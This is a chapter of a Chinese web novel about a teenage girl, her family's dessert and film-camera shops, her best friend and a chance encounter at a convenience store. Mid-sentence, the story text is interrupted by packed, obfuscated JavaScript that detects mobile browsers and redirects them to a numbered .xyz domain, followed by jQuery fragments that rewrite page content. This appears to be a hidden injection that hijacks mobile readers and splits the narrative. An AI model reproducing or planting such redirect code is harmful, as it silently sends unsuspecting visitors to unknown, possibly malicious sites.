《手写信》
文/植物杀手
2025年夏至
-
岱川的夏天栽青繁荫，蝉鸣声声，像一首绝句。
酸梅汤、蜉蝣、青木瓜、蒲扇......这些充满夏日魔力的词汇，叫人看见便觉得有种凉凉安心的感觉，迫不及待夏天的到来。
可当夏天真降临时，现实又是另一幅场景——蚊子又在手臂偷袭了。
白嫩细臂上突兀红肿一块，高夏盯了几秒，熟练拿起书桌一旁的花露水，涂抹上去，这才是凉凉安心的感觉嘛。
高夏家住老社区，三楼窗对大树，妈妈很早以前就提过将房间装纱窗，高夏都是摇摇头拒绝，她喜欢毫无遮拦的浓绿。视觉的享受总要付出些代价的，身上数个蚊子包是她的投名状。
今天周六，跟沈昭昭有约。高夏把桌面的寒假作业收拾了一下装进抽绳包里，想了想又从一旁的书架上拿了一本漫画书走。她骑着小电驴到听雨路，道路旁一排排五颜六色的门头，有两家素得突兀。
高夏将电驴停在樟树下，走进其中一家素素的店。
店里不见人，沈昭昭迟到。
小狗热情扑上来，扒拉着高夏，高夏脸上露出笑容，摸着小狗的脑袋，“是我们肉肉小宝呀，今天有好好接客吗？”
小狗回应：“嗷呜~”
有的有的，人！
高夏心都要化了，她蹲下来，双手托着小狗腋下，脸埋进软乎乎的大棉花中狠狠吸了两口，然后一副餍足的模样抬起头，对着正在吧台制作咖啡的漂亮女士说：“妈妈，今天店里忙吗？”
在咖啡机前穿V领衬衫站着的美丽女人是她妈妈。
夏白春等待咖啡萃取，手撑在台面指尖没节奏敲着，闻声扭头露出一个温柔的笑容，“不忙。这天气越来越毒辣，愿意出来的人不多。”
“你怎么不在家待着，这么热的天跑出来。”
高夏说待会儿沈昭昭要来一起写作业。
咖啡萃取完成，夏白春准备打奶泡，她还有几单外卖要做，让高夏想吃什么自己从展柜拿。
沈昭昭还没来，她也没急着现在吃东西，牵着锅包肉走到旁边另一家素素的店。
门头素，店内却色彩洋溢，有一面墙贴了不同摄影风格色彩的照片，店里摆着许多型号的胶片相机和胶卷，也负责洗胶卷。收银台坐了个戴眼镜文艺气息十足的男人，中年，两鬓有了几缕白。
这是她爸，高崇平。
高夏之所以叫高夏，是因为他们两个人一个姓高一个姓夏，爸爸说这是爱的体现，绝对不是敷衍了事。听说刚出生那会儿，因为这个名字，爸爸还和家里大吵了一架，爷爷是个传统古板的人，名字怎么能没有辈分。
妈妈说那是爸爸二十多年头一回这么硬气，和爷爷吵了个天翻地覆，最后利落收拾家里行李，“爸，我跟白春搬出去，以后您要是想见孙女，直接打我电话就成。父子几十年的感情，我再对您不满，我身上也流淌着您一部分的血，以后我还孝敬您，给您养老送终。”
主要还是立字辈，女孩子取名太难，爷爷找人算五行取的名也难听，妈妈看一眼就嫌弃，取什么高立水、高立莹......
这是高崇平二十多年来第一次忤逆他爹的意思，这给老爷子气了不轻，听话了二十几年的儿子忽然叛逆，老爷子小心脏不如年轻还有精力管教，于是这古板执拗的老爷子一气之下跟他们断了往来。
高夏今年十六岁，只见过爷爷的照片。
收银台的男人从摄影杂志中抬头，午后的阳光暖暖笼罩着这家几乎无人光顾的小店，高崇平推了推鼻梁上的眼镜，镜片后的眼底满是慈爱，“大宝小宝来啦。”
高夏笑嘻嘻跑过去，锅包肉也跟在后面摇尾巴奔去。
这家店生意可以用惨淡形容，但她和妈妈都很支持爸爸。
一个中年男人，前半生就如他负责的绿皮火车一样，规定的轨道路线，不许偏轨，因为它承载着太多人的生命，而这位中年男人承载着一个家庭，也不许偏轨。后半生他离开轨道，最后摸了摸相伴半生的绿皮火车，然后头也不回找回十七岁的自己。
开了这家胶片店。
他说，年少时爱看金庸，希望长大当大侠，结果最后当了个懦夫。
现在，他想重拾武侠梦。
那会儿高夏稚嫩的脸蛋满是疑惑，问他，武侠跟你这个摄影有什么关系呀？高崇平擦着他珍爱的相机说，梦想也是一个江湖世界，我完成自己的梦想了，是不是也算大侠呀？
十四岁的高夏似懂非懂点点头，好像也有道理，然后高高兴兴也帮爸爸去擦相机。
在爸爸店里没待一会儿，沈昭昭来了，她先去了甜品店没看见高夏，就来胶片店了。
推门风铃响，小狗摇尾，戴着遮阳帽的沈昭昭一把扑到锅包肉身上，“妈呀，锅包肉你可想死姐姐了。”
沈昭昭吸猫吸狗的时候发出的声音很像石矶娘娘的笑声，属于情不自禁的那种，她后知后觉站来起来，不好意思挠了挠脸蛋儿，“叔叔好。我来找夏夏一起写暑假作业的。”
高崇平点了一下头：“你们去吧。晚上跟大宝一起回家吃饭吗？”
沈昭昭其实也很想去，夏夏爸爸做的饭特好吃。奈何命苦啊，她妈给她请了家教老师，提前学习高二的知识点，五点就开始上课。
她哭丧着脸说就不去了，下次有时间一定来！
甜品店多了些人，有情侣有学生，高夏找了一个偏角落的位置坐下来，将单子推给沈昭昭，“你看看想吃什么，最上面两个是我妈研制的新品。”
“一个抹茶口味，一个巧克力口味。”
沈昭昭要了一个巧克力口味的，再点了杯清爽芭乐。高夏从抽绳包里拿出暑假作业，“你先抄吧，我去拿。”
如果不是此刻甜品店人多，她一定要抱着高夏猛猛亲两口！高夏被她眼神看得起鸡皮疙瘩头皮发麻，快步离开。
展柜里摆着精致的甜品，高夏拿完沈昭昭的，再拿自己抹茶味的，跟妈妈说了一声，她们要一杯清爽芭乐，还有一杯抹茶拿铁。
夏白春点点头说好，然后叫她顺便把靠窗那桌点的饮品送过去。
高夏送完回到自己位置，沈昭昭已经奋笔疾书，头也不抬一下。
“也不知道我妈受什么刺激了，又是给请家教，又是检查我暑假作业的。”沈昭昭哼哼两声，“拜托啦，正经人谁做暑假作业的。”
正经人高夏:“......”
沈昭昭忽然笔尖一顿，抬头大眼睛弯成月牙，“夏夏除外，我们夏夏宝宝是菩萨转世，有着菩萨心肠的大美人！”
手累了，沈昭昭停笔，愤愤合上《高一暑假自主学习作业本》，泄愤般握着精致雕花的小勺子挖了一大口甜点入嘴。
高夏则在对面轻轻笑了笑，视线又回到漫画书上，锅包肉在脚边蹭噌，她偶尔分神去摸一摸锅包肉，又抽空回答沈昭昭的问题。
“你妈妈可能怕你分班考的时候掉到平行班去，所以才忽然对你这么严格的。”
沈昭昭如同泄气的皮球，下巴抵在桌上。
百分之九十九的努力也很难拼过拥有百分之一天赋的人，那群有天赋的人又不蠢，不知道努力，等着让你赶超。高夏属于努力加天赋型的选手，沈昭昭则是努力努力再努力的选手。
二人小学认识，一直同校偶尔同班。高中这次能同校又同班，用沈昭昭的话来说就是祖坟冒青烟了，外加她在道观祖师爷前折寿许愿。
毕竟明远高中是岱川四大排第一的学校。
但高夏不觉得有这么多迷信，若是殿前真能显灵，世间哪还有疾苦，人人不都上清华北大啦？在她眼里这就是沈昭昭自己努力的成果。
沈昭昭很聪明的，一点也不笨。
她摸了摸沈昭昭脑袋，说没关系的，厉害的沈昭昭做什么都会成功。
沈昭昭受到一点安慰，但不多，她真挺害怕的，高一下学期的时候她就很明显感觉到吃力了，渐渐跟不上进度，如果不是高夏一直耐心教她，她恐怕月考就被踢出实验班了。
店里放着轻缓的音乐，高夏想让她放松心情，恰好摆在桌面的手机亮了亮，推送的娱乐版块刚好是沈昭昭偶像，她让沈昭昭看。沈昭昭一下就从那种断肠氛围抽出，转为惊喜尖叫。
兴奋过后还有正事没干，沈昭昭看了一眼时间后抓紧写题，高夏继续品着她的漫画，时不时露出一抹微笑，白瓷一样的肌肤晕着淡淡绯红。
沈昭昭写完了，收拾书包，顺便把高夏的东西也收拾了。
“我写完了，这些应该够我应付我妈一段时间了。梁葭八月十二号来我们这录制综艺，夏夏那天你陪我去看好不好？”
高夏嗯了一声。不太对劲，沈昭昭眼睛一眯就是尺，抽走高夏手里的漫画书。
“吸血鬼骑士，高夏啊高夏，你......”
高夏一脸无辜眨了眨眼，“昭昭，你不觉得玖兰枢很帅吗？优姬跟玖兰枢真的很配。”
沈昭昭撇撇嘴，“我比较喜欢锥生零，白毛我本命。还有，兄妹不可取。”
高夏抱臂轻哼一声，兄妹明明就很好品好不好！
“十二号那天我如果没有事的话就陪你去，但是你得请我吃麦当劳，那么热的天陪你一等就是几个小时，还要负责给你担拍图，我都要累死啦。”
沈昭昭笑嘻嘻，拍拍胸脯，“没问题，安格斯你想吃多少吃多少。”
高夏这个人天赋就像是全方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867118|176180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面发展一样，学习、乐器、摄影、美术......关键是高夏还漂亮，沈昭昭特自豪，自己居然跟高夏是好朋友，不是一般的好朋友哦，是特别特别特别好的朋友，光想想这个死嘴就压不下去了。
但此刻沈昭昭真的要回去了，她妈已经发消息催了，她背起书包，拿上遮阳帽，嘬嘬两声，将在服务客人的锅包肉召回，这回很有意识控制自己吸狗了，以免吓到别桌客人。
锅包肉朝小主人投去一个求救的眼神。
高夏将其解救出来，“好啦，快回去吧你，我家小宝都快被你吸秃噜皮了。”
沈昭昭松开锅包肉，拂去鼻尖的狗毛，跟高夏说回家了，走到吧台前探探身，“夏阿姨，我回去啦！钱我转给夏夏啦。”
夏白春笑说，“不用给，你妈妈最近还好吧？”又从吧台下面拿出装好的小甜点，“来，拿回去吃，马上高二也别给自己压力太大了。”
沈昭昭几乎要感动落泪，点点头说妈妈好得很，还给自己请家教，每天可有精力督促自己了。
-
晚饭是高崇平回去做好用保温饭盒带来，高夏牵着狗守胶片店。
胶片店偶尔几个人好奇走马观花看一圈，除此之外只有一人一狗在门口玩巡回。
吃过晚饭以后高夏带着锅包肉沿着听雨路一直走，出门前不忘嘱咐一定要把她的小电驴骑回去，不然又会被偷电瓶和头盔，这个月才过半，她已经被偷三次了！整个人都快麻了。
爸爸应着好，但总是他忘记，高夏把希望寄托在妈妈身上，但愿没有第四次了。
遛狗路线很固定，听雨路一路往前走到观鱼街，那边有家711，高夏像个固定NPC，进去买瓶喝的，锅包肉买根烤肠吃，然后过马路走到公园。
高夏跟往常一样走进711便利店。
店员姐姐认识她，打了个招呼，高夏径直走到冰柜拿了一瓶小叶九里，也就是在转身的时候，门口响起欢迎光临的声音，高夏下意识抬眼看去。
固定NPC卡顿片刻。
那是一个看起来有点奇怪的人，一身黑，鸭舌帽帽檐压得低，几乎遮住半边脸。若不是气质出挑，恐怕店员小姐姐在他出现的那瞬间脑中就警铃大作，眼睛死死盯住他，恨不得从收银台走出来寸步不离地跟在他身后。
见他朝自己这边走来，高夏回神淡淡收回视线，拿着饮料准备去结账，锅包肉路过零食区走不动道，任高夏怎么拖都不行。
“嗷呜呜~”
小狗趴在地上，望着它的小主人。
小主人冷淡着张脸，无动于衷。这不是锅包肉第一次使这样的手段了，初中的高夏会给它买吃的，可她现在是高中的高夏了！
锅包肉你放弃这个招数吧。
察觉到有目光投来，高夏抬眼看去，是那个有点奇怪的人。他下巴微抬扫了这边一眼，视线在空中交汇又散开。
那个人走向了收银台，擦身而过时传来淡淡清爽的皂香。
高夏又看他一眼。
一直在这耗着也不是个事，高夏收回目光，“锅包肉，你这样的话，烤肠也不给你吃，我待会儿拿去给豆腐脑吃。”
豆腐脑著名犟种柴犬，锅包肉好友之一，曾经岱川暴雨涨水，柴犬在家嚎叫要去找朋友玩，主人无奈舍命相陪，在暴雨中瑟瑟发抖给高夏发信息，问能不能带豆腐脑来她家玩。
锅包肉哼哼两声，不情不愿从地上爬起来，微笑天使没有微笑了，眼神都透着委屈。高夏揉了把它脑袋，“肉肉啊，这些零食对身体不好，你吃多了容易噶。姐姐想让你陪姐姐久一点呢，回家我们吃罐罐，好不好呀？”
微笑耶耶又出现了。
结账的时候，高夏站在那个人后面，收银台立着一瓶三得利的乌龙茶，收银员姐姐朝高夏笑了笑，那人似乎还要帮人带东西，但发出去的信息没有回复。
收银员姐姐刚想说给高夏先结了，一道声音抢先响起，“就这一瓶。现金。”
如竹林清风缓解夏季燥热的嗓音，是很有特色的，高夏微微偏了一下脑袋，眼睛轻眨，像是在思考。
好像在哪里听过同样音色的声音。
等待的时间对于高夏而言如同电影慢动作，周遭所有的一切都变成帧数。但见那人摁灭手机揣进左兜里，又从右兜里掏出零钱，高夏的视线在他的手上多停留两秒，指骨分明修长的手指，青筋脉络像一幅山水画。
“啪”
东西掉落在地的声音。
高夏却是不想低头看掉了什么，待他捡起来捏在手中时，高夏瞥见了——身份证以及上面的名字。
陈峤。
夏季晚风拂动樟树叶簌簌作响，明月在天，鸣蜩嘒嘒，高夏走出便利店望着那人远去的背影。